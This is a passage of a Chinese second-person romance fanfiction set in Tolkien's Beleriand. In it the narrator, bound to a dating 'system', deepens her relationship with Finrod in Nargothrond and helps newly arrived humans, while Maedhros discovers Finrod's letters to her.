确实不会有事,毕竟是可攻略人物,放在故事里也算是重要角色了,也不至于那么轻易地就死去,你倒是不担心这一点,你只是觉得送走玛格洛尔以后心情都跟着变得轻盈了许多,这么说可能有些过分,但你确实觉得他的感情伴随着时间的流逝感觉都要比他哥哥的感情还要沉重了。 芬罗德还以为你在担心他们,那他真是想多了,你牵起芬罗德的手,“我知道他们肯定不会有事的。” 芬罗德注视着你的侧脸,看你那么快就调整好了心情,他不由自主地想到自己,要是他日后也遇到这种情况的话,你也会那么快地就将他抛到脑后吗? 这个问题就像是在怀疑你,芬罗德默默地将这个问题压在心底,说:“也不知道日后你会不会也为我感到忧心呢?” 这个问题的答案毫无疑问是肯定的,你说:“当然,我也会很担心你的。” 这不是妥妥的送分题吗?你一听他的前摇就知道该怎么回答了,而且给出的回答也很完美,无论是动作还是神态都不可挑剔,找不出一点错来。 芬罗德握住你的手,说:“我很高兴,你能这么担心我。” 这又是什么技能的前摇?又过了几秒,芬罗德没说别的。 然后就没有下文了吗?他这是词穷了吗? 你和芬罗德手牵着手路过举办文学沙龙的休息室,此时活动已经进入尾声,但眼尖的精灵一看见你们的身影就说:“芬罗德殿下,还有苏尔小姐,不进来看看吗?” 真的只是进来看看就行了吗?总觉得之后还得要听他们唱歌奏乐,他们精灵一个个都是吟游诗人,唯一的好处大概就是他们没有一个唱歌是难听的,都很悦耳动人。 芬罗德没有马上答应,而是侧过头看你一眼,无声地询问你的看法,你反问道:“芬罗德你想进去看看吗?我都可以的。” 毕竟现在玛格洛尔和芬巩都已经走了,修罗场也暂时中止,你似乎也没什么好顾虑的。 芬罗德牵着你的手走到那间休息室里,一走进去你就感受到了许多道目光落在你和芬罗德身上,得益于你已经参加过多次的精灵宴会,所以你对于这些目光也早就习以为常,反正他们也没带有恶意,只是笑盈盈地看着你而已。 纳国斯隆德的精灵都对你很好,当然也有一部分原因是因为你平常有意识地经营和他们的关系,要知道任何一段关系都是需要好好经营的,和精灵的相处更是如此。 你和芬罗德找了个空位置坐下,那位置就在房间的正中央,合理怀疑是那些精灵特意给你和芬罗德留的,坐下以后那些集中在你们身上的视线也随之减少,大家对文学的喜爱超过了对八卦的好奇,比起讨论你和芬罗德之间的关系,他们更热衷于调整诗歌的韵脚,以及曲子的间奏是否需要修改。 真是浓郁的艺术气息啊,你忍不住在心里感叹一句,芬罗德也耐心又体贴地听那些精灵写的诗歌,还有小故事,他总能给出一些合适的建议,这也从侧面证明他听得很认真。 反观你捧着一本绘本,还是绘本更加适合你,你看得津津有味,看到最后一页的时候芬罗德凑了过来,最先靠近的是他的金色长发,极具存在感地垂在你的手背上,仿佛代替他的手轻轻地抚摸你的手背,紧接着飘过来的是他的声音,他说:“你喜欢这本绘本吗?” “喜欢啊。” 不知道哪个精灵笑着说:“这是芬罗德殿下小时候画的哦。” 什么?居然是芬罗德画的吗?你的第一反应就是这玩意儿都该有好几百年,不对,都要有上千年的历史了吧? 好家伙,感情你刚才翻看的是文物啊! 第二反应就是,等等——他怎么连小时候的绘本也跟着一块带到这里来了啊?他带的东西可真不少啊。 最后的反应才是去寻找芬罗德的署名,你从头找到尾,最后才在倒数第二页找到芬罗德的署名,用羽毛笔写的,字迹清隽飘逸,带着几分张扬。 ——芬罗德之作。 给你一点中二的感觉,不过也很正常,你小时候也很中二。 见你沉默了好一会,芬罗德还有点不好意思,他说:“……小时候的画技不太好,请见谅。” 这也太谦虚了吧?这叫做画技不好吗?看这线条,这色彩,这构图,这光影,还好你不是专业学画画的,不然会被天赋怪的谦虚给攻击到的,你顶多就是觉得芬罗德太容易不好意思了,你说:“见谅,我很见谅。” 芬罗德听出你在开玩笑,他的唇角也跟着微微上扬,说:“你要是喜欢,我的房间里还有别的绘本。” 啊?他这是在邀请你吗?用的还是跟我有个夜光手表有着异曲同工之妙的理由,你不由地愣了两秒,然后你从芬罗德的表情里看出对方真的只是邀请你去看绘本。 你反思了一下自己内心的肮脏,然后答应了他,反正无论是单纯看绘本还是发生点什么你感觉自己都没亏,顺便推一推攻略进程,简直完美。 文学沙龙结束后你们又吃了顿简单的晚餐,一般来说你在这时候要不就是散散步,要不就是去别的地方逛逛,但今天情况有变,你和芬罗德一块回房间,然后真的只是看绘本,芬罗德还坐在你身边冲淡讲解员。 真是贴心,你看绘本还自带讲解,不过芬罗德说话的嗓音轻柔,你就把他的声音当成白噪音了。 “我说的话是不是有点太多了?会惹你烦吗?” 芬罗德问道,你侧过头,凑近看你才看见被芬罗德编进发辫里银质发饰,没有凯勒巩的钻石发饰那么耀眼,只有在靠近的时候才能察觉到那柔和的光芒,就如同他给你的感觉是一样的柔和。 你的视线从他那双湛蓝色的眼瞳转移到微抿着嘴唇,毫无疑问的,他的唇形也非常漂亮,你托着绘本的手顿了顿,然后忍不住叹息一声。 芬罗德也捕捉到了你的叹息声,他就连你脸上的细微表情变化都没放过又怎么可能没听见你的叹息声,他关切地问道:“怎么了?” “我只是在想……一些不入流的事情而已。” “不入流的事情?”芬罗德不解地重复这个词。 “是的,在此之前有谁夸奖过你的嘴唇很漂亮吗?” “这个……那倒是没有。”芬罗德的眼睫轻微的,很小幅度地颤抖了一下,仿佛泄露出他局促的心情,你坦然道:“我想要亲吻你,可以吗?” 你觉得自己这已经非常礼貌了,主要是平常芬罗德也总是彬彬有礼的样子,所以你觉得还是对待他稍微温柔一点吧,你之前对待凯勒巩可不是这样的,不过也是因为凯勒巩他本身的性格就和芬罗德很不同。 对邪恶比格犬就该使用强硬手段才行,但芬罗德不行,他是善良萨摩耶。 但你这话也很直白,芬罗德迟疑了一秒,这一秒是他用来找回自己的声音的,接着他才说:“可以。” 也不问迈兹洛斯怎么办,不问你和玛格洛尔的关系,只是简单地回复一句可以,比你想的还要干脆利落许多,你都愣了一下, 还以为他会纠结好一会的你,没成想他很自然地就接受了现在的情况,甚至还非常主动地微微俯身,你手里的绘本掉落在地,你鼻尖盈满他身上的花香味,就连亲吻也是花的香味。 你对他的亲吻也是循序渐进的,不用太急切,慢慢来就好,反正你们还有很多时间可以消磨,就是在你停下的间隙芬罗德小声地说:“亲吻原来有那么大的魔力吗?” 你好笑地说:“什么魔力?” 你怎么好像没有感受到呢? 芬罗德说:“我的手指指尖在微微发麻,然后就是脸颊,从你的眼睛里我看到自己的脸颊红得很厉害,最后是我的心脏——”说着,他握住你的手抵着他的左胸膛,皮肤下的胸膛在震颤着,他这时候也不忘给你解说,他说:“我的心脏跳得好快。” 你还以为他要让你凑近听他的心跳,看看他是不是心慌呢。 还好,他目前的水平还没有到达这个段位,他之所以说这些也只是因为真诚,这是在实话实说。 “综合你所说的症状,我合理怀疑你中毒了。”你一本正经地胡说八道。 “是中了爱情的毒吗?你说这有解药吗?” 救命,他说话比你还咯噔,你们俩的台词凑在一块就是咯噔plus了,你们两个四目相对,最后也不知道是谁先笑了出来,大概率是你,你哈哈大笑,说:“刚才的话听上去好傻里傻气。” 芬罗德也不否认,他说:“可能爱情就是会让人变得傻乎乎的吧,但我不讨厌这种感觉,我……很喜欢现在的自己。” 那他倒是很自洽,你想。 芬罗德的手不知道什么时候握住你的手,与你十指相扣,纤长的手指挤进你的指缝了,掌心贴着你的掌心,他比你想的还要喜欢皮肤接触。 他还在向你靠近,你的脊背抵着座椅的扶手,还好那扶手也很圆滑,所以你的脊背靠着也不会太难受,他的另外一条手臂穿过你的腰腹,就在你以为他要做些什么的时候,他只是拥抱着你,紧紧地拥抱着。 啊?然后就什么都不做吗?真的只是拥抱啊? 不是哥们,太纯情了一点吧? 你的脑袋靠在他的肩头,无奈地笑了一下,你吹了吹他的耳朵,就像是对着猫耳朵吹气会换来一个摇晃的猫猫头,你看见他很细微的颤抖了一下,他说:“这样会有点痒。” 也没有阻止你的意思,就是说有点痒,好像在纵容你,不过也是,他对自己的妹妹还有弟弟就很纵容,对待你也非常纵容。 这不由地让你开始好奇,他究竟会纵容你到何种程度呢? 哪怕你对他做再多糟糕的事情也没关系吗? 你真的很好奇啊。 第40章 就这样,芬罗德和你发现了更多的人类。 说实在的,这张长椅对你们来说稍显拥挤,尤其是精灵的身量高挑,挤在一块那真是麻烦,好在他会配合地调整自己的姿态,以此来配合你的动作,这对你来说就很方便了。 你跨坐着,俯视着他,他的金发在房间灯火的映照下显露出如同丝绸的光泽,你说:“如果你害怕或者是紧张的话……” 还没等你把话说完芬罗德就接过你的话头,他说:“没有,我没有紧张,更没有害怕。”顶多就是有些激动和忐忑而已,他的内心在隐隐地期待你将会对他做什么,他想,哪怕是折磨他也会全盘照收的,毕竟那也是你给予他的东西。 看他一脸严肃,还有那严阵以待的态度你都觉得好笑,你的手顺着衣角的缝隙潜入其中。 柔软的手掌抚摸着线条,或起或伏,最后在某个起伏点停下,因为你捕捉到了他的闷哼声,你惊讶地问:“你喜欢这样吗?” “我不知道。”他只是觉得这感觉有些奇怪而已,这样会让你扫兴吗?他又去寻找你的双眼,发现你只是在认真地琢磨接下来该怎么做。 毕竟每个精灵的偏好点不同,你的手指捻着起伏点,又趁着他下意识地挺直脖颈的时候亲吻他的颈窝。 虽然他没说话,但他紊乱的气音也能够让你推测出他现在的状态,你再一抬头,看见他的双眼都雾蒙蒙的,看得你都有点不忍心了,然后下一秒就用他的系带把他那双漂亮的双眼暂时蒙起来。 “苏尔?”他略带疑惑地呼唤你的名字,视觉被剥夺以后其他的感官都会变得格外敏锐,比如说触觉,又比如说听觉。 他听见了衣物窸窸窣窣的声响,层层叠叠的衣衫堆在长椅的另外一角,你就像是拆礼物似的拆去最外面的包装纸,露出白皙如玉的内里。 后来他被你牵引着向你靠近,你们呼出的气息交织,往常总是在包容你的精灵似乎也被你包容了。 他真希望这一刻能再漫长一些。 最后你有一下没一下地轻轻拍着他的后背,在某个停顿的间隙拆下那条蒙眼的系带,适应了黑暗的双眼花了点时间才适应房间里的光线,你伸手点了点他的鼻尖,说:“缓过来了吗,英戈多?”你在轻声地呼唤着他的昆雅语母名,语调柔和得仿佛能够包容他的一切。 此刻的芬罗德有一点可以确定,那就是他不想和你分开。 他的沉默被你理解为贤者时刻,行吧,你也能理解,毕竟你也经常经历这种时候,过一会应该就会好的。 但是一会过去了,他拥抱着你都开始念自己以前写的诗歌了,这不由地让你有些纳闷。 他的贤者时刻怎么还没有结束啊?明明你的都已经结束了诶,因此你说:“你确定要一直这样互相拥抱着,然后念诗吗?” 顺带一提你们还都是坦诚相待的,你说的是字面意义上的坦诚。 芬罗德少见地显露出几分不情不愿,他说:“……可以再等一会吗?” 好吧,你把自己的耐心都放在他身上,那就再等一会吧。 但其实后来你也不知道过了多久,反正房间里也很暖和,耳边更是催眠的念诗声音,你睡过去其实也不奇怪。 再次醒过来的时候是芬罗德正在替你擦拭皮肤上的水珠,真要命,你连洗澡的过程都是直接以睡眠状态度过的,你说:“我又错过什么吗?你帮我洗了澡吗?” 芬罗德说:“嗯,如果直接这样睡觉的话你肯定会觉得不太舒适的。” 那他还真是贴心啊。 只不过既然现在你都已经醒来了那就没必要继续由他来擦拭水珠了吧,你从他手里接过毛巾,说:“我自己来就好。” 芬罗德将毛巾交给你,但他也没有要走的意思。 这绝对不是你的错觉,可能在做过以后对方确实会变得更加粘人,这也是你的经验之谈。 所以你应付起来也还算是得心应手,你说:“你要一直在这里盯着我看吗?” “抱歉,会让你感觉到不自在吗?我只是……嗯,想要多看看你。”芬罗德坦然承认自己的想法,想要多看看你,想要离你更近一点,他的思维开始发散,如果你一直住在纳国斯隆德其实也不坏,至于费诺里安那边他可以去交涉,绝对不会给你带来麻烦的,迈兹洛斯也许会生气,但他的怒火也无法影响到你们之间的感情。 他现在突然就能够理解妹妹加拉德瑞尔在写来的那封信里为什么会屡屡提起凯勒博恩,爱情就是这么不讲道理的,现在换做是他给加拉德瑞尔写信大概也会三番五次地提到你,提起你的频率铁定会让妹妹感到烦躁。 但是,前面也说了,这是难以控制的,他当初在维林诺的时候参加过不少精灵的婚礼,他们说得最多的一句话就是祝贺他们找到了自己灵魂的另一半。 灵魂契合,这个词突兀地跃入他的脑海里,他却觉得非常适合当下的情形,他遇见了你,自己的灵魂也得到润泽和丰盈。 好喜欢。 那是他的灵魂在说话吗? 是的吧。 行吧,你选择妥协让步,让他盯着看那就盯着看吧,反正问题也不大,你擦干皮肤,套上一条他的睡衣,质地舒适,顶多就是尺码有点宽大而已,能穿就行。 你走出浴室,芬罗德也跟了上来,你扫了一眼那张长椅,发现已经被收拾干净了,他在你睡着的时候还顺便打扫卫生了吗?你觉得打扫卫生的事情他应该不会交给其他精灵来做,尤其还是在这种情况下的打扫卫生。 因此你说:“你倒是做了很多事情。” 芬罗德只把你这句话当成夸奖,他说:“那你现在还要继续休息吗?” 老实说你之前稍微眯了一会就觉得自己现在好像也没有那么困了,你想了一下,说:“你困了吗?” “没有。” 你们俩四目相对,最后一拍即合去屋顶看星星,唉,这个世界的娱乐活动就是这么匮乏,不过没手机的好处就是你可以真切地感受到这周围的一切,不像上辈子那样活在网络构建的真空层里。 这样的感觉也不错,你和芬罗德相互依偎着,他说:“明天会是个好天气。” “你还会天气预报啊?” 不过他确实长得比天气预报员还要漂亮就是了。 芬罗德说:“是夜风还有星星告诉我的。” 行吧,精灵嘛,说这种话也不奇怪,你都已经习惯了,你说:“那你还听见了什么吗?” 芬罗德思索片刻,而后说:“还有你的心跳声,我也听得很清楚。” 他似乎没有意识到自己在说情话,只是单纯地在说实话而已,而你呢,你听了这话不免愣了一秒,旋即说:“那你的耳朵可真尖啊。” 说着,你还戳了戳他那很明显的耳朵尖尖。 你们又聊了很多,聊天嘛,无论开头是什么,经过中间的起承转合,最后还是会变成讲述自己的家庭,自己的童年,听他的描述你才发现精灵的童年其实和人类也没什么区别,都是差不多的调皮。 唯一的不同之处大概就是他的父亲和同父异母的哥哥费艾诺关系实在是一般,芬罗德说:“父亲总是觉得是不是自己哪里做的不够好才会让对方讨厌的,但其实无论他再怎么努力,也只能把结果从很讨厌变成一般讨厌的程度。” 芬罗德似乎也遗传了父亲的这一点,从小就性格温和,见过他们父子俩的精灵都会说他们很相似。 “但我觉得你和你父亲是不一样的。”你斩钉截铁地说。 芬罗德的额头抵着你的额头,那动作就像是在撒娇,他压低声音,可能是在模仿父亲菲纳芬的声音,他说:“你又怎么确定呢?你都还没见过他呢。” “嗯……如果真的要说的话,那就是感觉了,因为你对于我来说是独一无二的。” 芬罗德沉默了好一会,等他再开口的时候他的嗓音没有之前那么低沉,恢复他原有的声线,“我又想亲吻你了。” “你别光想啊。”你好笑地说。 在星空下的亲吻比你想的还要浪漫,你看见一闪一闪的星辰点缀在天边,但那些星辰的光芒丝毫不及他眼底的眸光半分,他是那么神采奕奕。 不过这浓郁的浪漫气氛在你亲吻结束后一个喷嚏顿时烟消云散,芬罗德说:“我们该回去了。” 芬罗德态度强硬,你觉得他的反应太夸张了,只是打一个喷嚏而已,就已经让他联想到了疾病,你说:“行吧,但你也不用那么紧张。” “好……那我不紧张。” 话是这么说的,但他的肢体动作还是显露出他最真实的内心活动,那就是在意得要命。 相较之下你这个当事人都显得平静多了,毕竟你是很了解人类的,总比他们精灵了解多了。 你觉得没问题那就是真的没问题。 回到卧室里,你感觉刚才的对话又酝酿出了新的睡意,简而言之就是你又可以睡大觉了。 芬罗德守在你的身边,你半梦半醒之间还能隐约感觉到他的手掌抚摸着你的脸庞,算了,反正这样也不会影响你的睡眠质量,所以你就没管,继续沉浸在梦乡里。 醒来的第二天早上果真是个大晴天,阳光灿烂到足以穿过窗帘,在被褥上投下一抹光影,你是被生物钟给唤醒的,没有太多娱乐活动以及手机的好处就是你差不多已经养成了很固定的生物钟,每天基本上都是差不多的时间点醒来。 简单的洗漱,芬罗德已经贴心地将你要穿的衣服放在床尾,是很简洁干练的衣服,你往身上一套,恰好这时候芬罗德从外面进来,说:“你醒了?今天的天气很好,要出去采风吗?” 这么好的天气如果一直待在屋子里确实会觉得可惜,所以你点了点头,但采风就算了,你可以看着他采风,你说:“顺便去野餐吧。” 芬罗德觉得这个主意很好,说:“好,那我去准备一些吃的。” 芬罗德的办事效率很高,等你走到厨房的时候他已经把野餐需要用到的东西都准备了一大半,折叠得方方正正的餐布,还有一个竹藤编的小竹篮,篮子中间被隔开,正好可以用来一边放餐巾和手帕这类东西,另外一边放一些吃的,比如说用白色棉布包起来的白面包,用来搭配的是一小罐覆盆子果酱,还有一大壶接骨木花水。 新鲜水果更是少不了的东西,更别提不同种类的奶酪了,你似乎在芬罗德身上看到了你奶奶的慈祥光环,不过老实说,如果看年龄的话他不光可以当你的祖辈,甚至可以当你的祖祖祖祖祖辈。 但那句话怎么说的来着,年龄差几十岁让人难以接受,但年龄差四位数起步反而让人能够接受了。 你走到他跟前,问道:“还有什么需要我帮忙的吗?” 其实也没什么需要做的了,芬罗德已经把大部分的工作都承包了,他说:“那就麻烦你提着这个水壶了,至于其他的……都交给我吧。” 说着,他把装着温水的玻璃水壶交给你,水壶上还有一个提手,这样提着很方便,而且晶莹剔透的壶身能让你清楚地看见里面被浸泡得舒展开的接骨木花,这幅画面带着几分别样的美感。 去野餐的决定来得很突然,但芬罗德却准备得很齐全,什么东西都没忘。 贤惠,实在是贤惠。 你们没想好野餐的地方,而是骑在马背上慢悠悠地闲逛,逛着逛着就离开了纳国斯隆德的领地,因为最近这周围的黑暗生物都已经被芬罗德和下属特意清理过了,所以这里非常宁静,也非常安全。 你们骑着马越过一条小溪流,继续向前进,也不知道走了多久,应该是有一会的,因为你手里提着的水壶已经从温水变成冷水了。 最终你们在一处峡谷里停下脚步,芬罗德说:“就是这里了是吗?” 你呼吸一口新鲜空气,说:“嗯,就这里吧。” 这里风景好,而且还很幽静,是绝佳的野餐地点。 你从马背上下来,没了你的束缚,黑马这就高高兴兴地和芬罗德的白马一块跑到别处去玩了,芬罗德说:“他们相处得很好呢。” 你总觉得他还在借此指代你们的关系,可能是因为听了太多他写的诗歌,他是个非常喜欢在诗歌里掺杂各种化用,叠加意象,以及各类修辞手法的精灵,所以你现在听他说话总觉得是话里有话。 听完他说的一句话你都得要阅读理解一番,还好你的阅读理解能力早就已经在高中的时候锻炼出来了,现在的你哪怕重开了也仍旧在吃老本。 你说:“你觉得那个位置适合野餐吗?”说着,你指了个方向,那里地势平坦,而且视野也很好,可以将这里的大半景色都收入眼底,听着潺潺流水声享用午餐,这种悠闲的生活你在上辈子想都不敢想,而你现在就过上了这样的生活,一想到你那么努力地推进攻略任务结果只能换来回到原先世界的奖励。 抱歉,你觉得这个奖励不是很诱人,而且真的有人喜欢当一辈子的社畜吗?不对,按照你上辈子那个就业形势,你连当一辈子的社畜都是奢望,更大的可能是在你三十五岁,不对,极有可能在三十岁的时候就要开始担心被裁员了,每天都过得提心吊胆。 这样的人生对你又有什么吸引力呢?你又不是什么受虐狂,虽然有虐待产生忠诚这一说,但你打小就不老实,更别提忠诚了。 你都已经想好了,在系统没有上线的这段时间里,就卡bug推进攻略任务,你得把控好度,不能一个用力过猛真把这些精灵的好感度都刷满了,这样岂不是你要被遣返回痛苦的社畜生活了吗? 这种事情不要啊! 你们在那块草地坐下,芬罗德先是给你倒了一杯接骨木花水,他在触碰水壶的时候发现已经彻底变凉了,就嘟哝一声,“可惜了,下次我会留意的。” 他就那么自然而然地开始思考下次野餐的事情了,尽管你们这次的野餐都还没有结束。 你盘腿坐着,手里还拿着一个小巧的盒子,里面装着各类切好的水果块,你用同样小巧精致的叉子叉起一块苹果,这个世界的苹果都比你上辈子吃的还要脆甜。 水果就应该吃脆甜的,这一点毋庸置疑! 你咀嚼水果切块发出咔嚓咔嚓的清脆声响,等你吃腻了水果切块他就又递来肉脯,他是懂得什么叫做甜咸永动机的,这肉脯太实在了,而且还硬邦邦得跟秤砣一样,你只能耐着性子慢慢地磨。 真的感觉有点像是磨牙棒。 “这个肉脯是不是有点太干了?”芬罗德问道,你揉了揉咀嚼得开始发酸的腮帮子,说:“是啊,这都被你给看出来啦?” 芬罗德忍不住笑了,他朝你靠近,无比自然地用手指揉揉你的脸颊,你意识到他这是在给你放松面部肌肉,就也跟着放松下来。 但过了一会,他的指腹无意间擦过你的唇齿,他就跟触电了似的飞快地将手给收回去,如果可以的话你猜他很可能还想着和你说一句抱歉。 要是你们还是在搞暧昧的阶段的话,你觉得这很正常,但你们不是都已经本垒打了吗?为什么还会那么害羞啊? 你真的只是好奇而已,这次轮到你凑了过去,你问道:“你这样也会觉得不好意思吗?” 芬罗德知道你这是又起了坏心思,他说:“会,因为这样好像有些不太尊重你,所以我想向你道歉。” 前面你已经说过了芬罗德给你一种正义凛然感觉,现在听他说这话就让你觉得他简直是正得发邪。 “你本来就没必要和我道歉。” 就当你要借此机会再说些肉麻的话的时候,刚才跑到别处去玩耍的两匹马又折返回来了,不是来吃野餐的小面包的,和精灵相处得久了,你也能读懂一些动物的语言,就比如说现在你就从那两匹马的脸上读出了焦急的神色。 没错,它们俩很着急,非常着急。 你和芬罗德交换一个眼神,芬罗德对那两匹马说:“那就麻烦你们带我们过去了。” 说完你和芬罗德就又翻坐到马背上,任由马匹把你们带向远处的山谷,说起来这一片区域不光是你就连芬罗德都没怎么来过,因此他也无法确认前方是否安全,他的直觉告诉他前方似乎没有危险。 除此之外他还感受到一股奇异的感觉。 这若有若无的预感在你们抵达山洞看见靠着岩石呼吸微弱的人类时应验了。 就这样,芬罗德和你发现了更多的人类。 人类作为一股后生力量也出现在贝烈瑞安德大陆上,但那都是之后的事情了,现在的人类才苏醒没多久,他们对于这个世界的了解不多,甚至比重开到异世界的你还要迷茫。 更重要的一点是,他们和精灵的语言不通,这个时候你就充当起了人类与精灵的翻译工作,真没想到啊,外语生重开以后还能找到对口工作而不是待在办公室里当文员啊。 话题跑远了。 你从那些人类只言片语的描述中了解到他们原本打算去北方的,但是他们在朝着北方前进的时候遇到了凶猛的怪物,所以不得不临时改变计划决定南下,这一路上他们躲躲藏藏,在躲避黑暗生物的过程中误打误撞地朝着纳国斯隆德的边境靠近,这才有了这次的相遇。 “你也是人类吗?”为首的人类应该是这一支小队的领导者,她好奇地观察着你,这种观察的目光没有恶意,只是在想你又是从哪里迁徙到这里的人类队伍。 你说:“是的,我也是人类,你们很幸运,遇到的精灵恰好对人类很友好。” 芬罗德在你耳边小声地问:“你都在和她说些什么?” “我和她说你是个很好很好的精灵。”《 》 40-45 第41章 “你喜欢孩子吗?” 被你那么夸奖的芬罗德笑盈盈地说:“谢谢你那么夸奖我。” 芬罗德确实对人类很友好,主动收留这些流离失所的人类,让他们居住在纳国斯隆德境内,不是暂住,听他的意思是只要对方想,那就可以一直住下去,现在的精灵对于人类的寿命还没有清楚的认知,只是推己及人地认为人类既然也是伊露维塔的子女,那么肯定也与精灵有着相似之处,例如和精灵一样的寿命。 你之前也询问过系统你是否会生老病死,系统忙不叠地向你解释你在攻略任务完成前年龄都不会有任何变化,简单来说就是只要你一直卡着bug,你也可以达到精灵那样长生不老的效果,因此你和后来出现的人类也存在区别。 这姑且算是绑定恋爱系统的好处,但如果你没有获得那么多好感度的话,估计你早就因为攻略任务失败直接凉凉了,所以只能说绑定恋爱系统有利也有弊吧。 那些人类抵达纳国斯隆德以后自然也引起了其他精灵的关注。 “人类?那些就是和苏尔一样的人类吗?” “他们会在纳国斯隆德一直住下去吗?希望他们喜欢这里。” 年纪轻的精灵更加活泼,和自己的小伙伴交头接耳,聊的都是和这些个新来的客人有关的话题。 芬罗德对人类首领兰达说如果有任何需要的尽管开口, 当然, 你在其中充当翻译。 你将芬罗德的意思转告给兰达,她说:“有个安全的,能够遮风挡雨的地方就已经足够好了。” 芬罗德也很高兴, 他是为你有其他同类作伴而感到高兴, 他说:“这样的话苏尔你应该也不会再孤单了吧。” 他说这话的时候你们正在商讨如何教会那些人类精灵的语言,这过程就像是在编写教程,你之前虽然也专门学习过精灵语,但你那是建立在能够听懂并且会说的基础上的,所以你只需要学习精灵的文字就行,但后来的人类是完全的零基础,所以得要编写入门级的教程。 你的手里还握着羽毛笔,你说:“我不孤独啊。” 你身边不是还有很多精灵陪伴吗?前些天你还在围观修罗场呢,怎么可能会孤独呢? “但你有的时候也会流露出孤单的情绪,我看到过。”芬罗德观察得非常细致,但就是有点太喜欢发散思维了,直接把发呆的你联想到孤独的层面了。 倒也没必要那么拔高你的高度,你都有点高处不胜寒了。 你用羽毛笔的尾端蹭了蹭芬罗德的脸颊,他忍不住冲你眨眨眼,说:“只要你高兴的话,我也会高兴的。” “打住,我们不是在编写教材吗?再这样谈天谈地下去可怎么完成今天的工作啊。” 也是,芬罗德也觉得你说的有道理,就低头继续编写教材,从字母开始,然后再是发音,还有其他的语法,这个时代编写的教材虽然没有你上辈子那么精细,但因为人类是和精灵住在一块的,教材只是辅助,更多的是日常接触中的练习。 这就避免了学来学去最后学到的还是哑巴精灵语,这也是你的经验之谈。 芬罗德对于精灵语的掌握肯定比你熟练,所以他相当于主编,你顶多算助手,这样也好,编写教材的工程量很大,你光是想想就觉得头疼。 写着写着,你就感觉到了几分疲惫,是的,果然这种脑力工作远没有耕地来得放松,你犁地还能放松大脑呢。 你都已经开始走神了,芬罗德仍旧在伏案编写教材。 精灵不会生病,更不存在腰椎间盘突出这种困扰,但你不行,你很爱护自己的身体,你坐了一会就站起身活动活动身体,芬罗德说:“累了吗?累了的话……你先去休息吧。” 这话听起来怎么感觉有点舍不得?你转过身,走到芬罗德身边,问道:“你是不是舍不得我走啊?” “是啊,舍不得,但你累了就该去休息,不能因为我耽误你休息的时间。”芬罗德说得很认真。 你坐回到自己的椅子上,摇晃着自己的小腿,说:“我觉得我还可以再陪你一会。” 芬罗德说:“那我会快点完成今天的工作的。” 你心安理得地当着芬罗德的面摸鱼,东看看西看看,这书房你也不是头一回来了,但因为房间宽敞,里面的东西太多,你都没怎么仔细探索过,你走来走去,还真是被你发现了什么东西,那是个小盒子,材质似乎是银质的,也有可能融了点其他的金属变成了合金,总之拿在手里感觉沉甸甸的。 “这里面是什么?”你问道。 芬罗德抬头一看,脸上浮现出微妙的神色,他说:“这个……嗯,如果你要看的话那就打开来吧。” “你都还没告诉我里面装的是什么呢。” “是你写给我的信,我都放在了一块。”这也没什么奇怪的,换做你也会那么做的,就是当着你的面他难免有些不好意思就是了。 什么啊,就只是你写给他的信吗?这就叫你略带失望了,你还以为是别的什么好东西呢。 “你的信我都没带过来。”你想了一下,好像被你放在希斯路姆休息室的抽屉里了,那是你的专属休息室,所以平日里应该也不会有精灵过来。 但你都说是应该了,凡事都是有例外的,尽管迈兹洛斯嘱咐过其他精灵不要踏入你的休息室,但他不在这个范围内,而且在你走后他也会去到那个房间里打扫卫生。 说是打扫卫生,但其实更准确地说应该是睹物思人才对。 你去纳国斯隆德的时间不长,对精灵来说可能真的只是一阵子而已,但他还是会思念你,尤其是到夜晚的时候,他辗转反侧难以入眠之时,他就会来到这个房间,房间里的摆设还和你离开的时候一样,他站在门口,都能想象出你是怎么坐在那张长椅里懒洋洋地看书的。 就像是你还在他身边似的,他忍不住笑了一下,又走到书桌旁,坐在那张椅子上,椅子也是他替你定做的,符合你的身量,对于迈兹洛斯来说可能稍微有点不合适,但无所谓,他只是想要借此怀念你而已。 迈兹洛斯的手指无意间触碰到抽屉的拉环,就像是故事情节里经常会出现的情节,好奇心驱使着迈兹洛斯勾着拉环打开抽屉。 因为你先前强调过自己的个人隐私,所以迈兹洛斯哪怕来你的休息室也只是坐在自己的位置上,不会翻箱倒柜。 但是…… 他的视线看到了那几封信,那信封上的火漆印章图案,是菲纳芬和他的儿子会使用的图案。 所以多半是芬罗德亦或是他的手足写给你的,此时的迈兹洛斯心里还抱有一丝希望,觉得很有可能是加拉德瑞尔写给你的。 如果他在这里就停下的话,或许就不会有之后的烦恼了。 然而命运没有那么多的假设和如果,他还是鬼使神差地取出那几封信,借着灯火看清上面的署名。 ——芬罗德。 是芬罗德给你写的信,不止一封信,这些……这些所有的信都是芬罗德写给你的,你拆开后还存放在一块。 迈兹洛斯的呼吸停顿了一瞬间,最后一不做二不休,从开了封的信封里抽出信纸,然后仔细阅读。 他不知道自己看完这封信的时候是什么表情,可能是面无表情吧,但他的心情分外复杂。 所以说哪怕在希斯路姆的时候也还有别处的精灵引诱你么?那么你去纳国斯隆德的动机也变得微妙起来。 他倒也不是在怀疑你,他只是担心你被其他精灵欺骗。 想到这里,迈兹洛斯将最后一封信放回到抽屉里,恢复原样,但他的内心却无法再恢复原状。 就在这时从门口忽然传来一道声音,是玛格洛尔的声音,也不知道他是什么时候站在那里的,他问道:“你在看什么?” 迈兹洛斯也没有遮遮掩掩,他说:“芬罗德写给苏尔的信,你看上去并不意外,是因为你早就已经知道了吗?” 在玛格洛尔当初选择替你保密的时候就已经料到了这一天的到来,他即将面对的是迈兹洛斯的怒火,在他们的父亲费艾诺死后他的兄长就很少再发怒,但不代表他一点脾气都没有了。 气氛沉寂了几秒,迈兹洛斯说:“是苏尔让你那么做的吗?对我有所隐瞒?” 玛格洛尔说:“是我主动隐瞒的,和她无关。” 迈兹洛斯在分辨玛格洛尔究竟是在为你开脱还是陈述事实,最后他选择后者,他宁可相信是他的弟弟主动做的,这样他还能勉强接受。 “所以你也早就知道了她和芬罗德的关系?你上次已经去过了纳国斯隆德不是吗?”这样一来一切就全都能说得通了。 玛格洛尔想起在纳国斯隆德与你的相处,他态度微妙地抿抿唇,说:“……这不是她的错。” 迈兹洛斯当然知道这不是你的错,他的本意就没想过责怪你。 玛格洛尔在等待迈兹洛斯的下文,等待他再说点什么,比如说斥责的话语,但是都没有,迈兹洛斯说:“算了。” 算了? 是真的算了吗? 玛格洛尔不太相信,他说:“我不太明白你的意思。” “意思就是,你今晚没有看到我来到这里,我们也没有谈论过这个话题。”迈兹洛斯打算将这一切都装作没有发生过,不是在逃避现实,而是在接触真相后坦然接受。 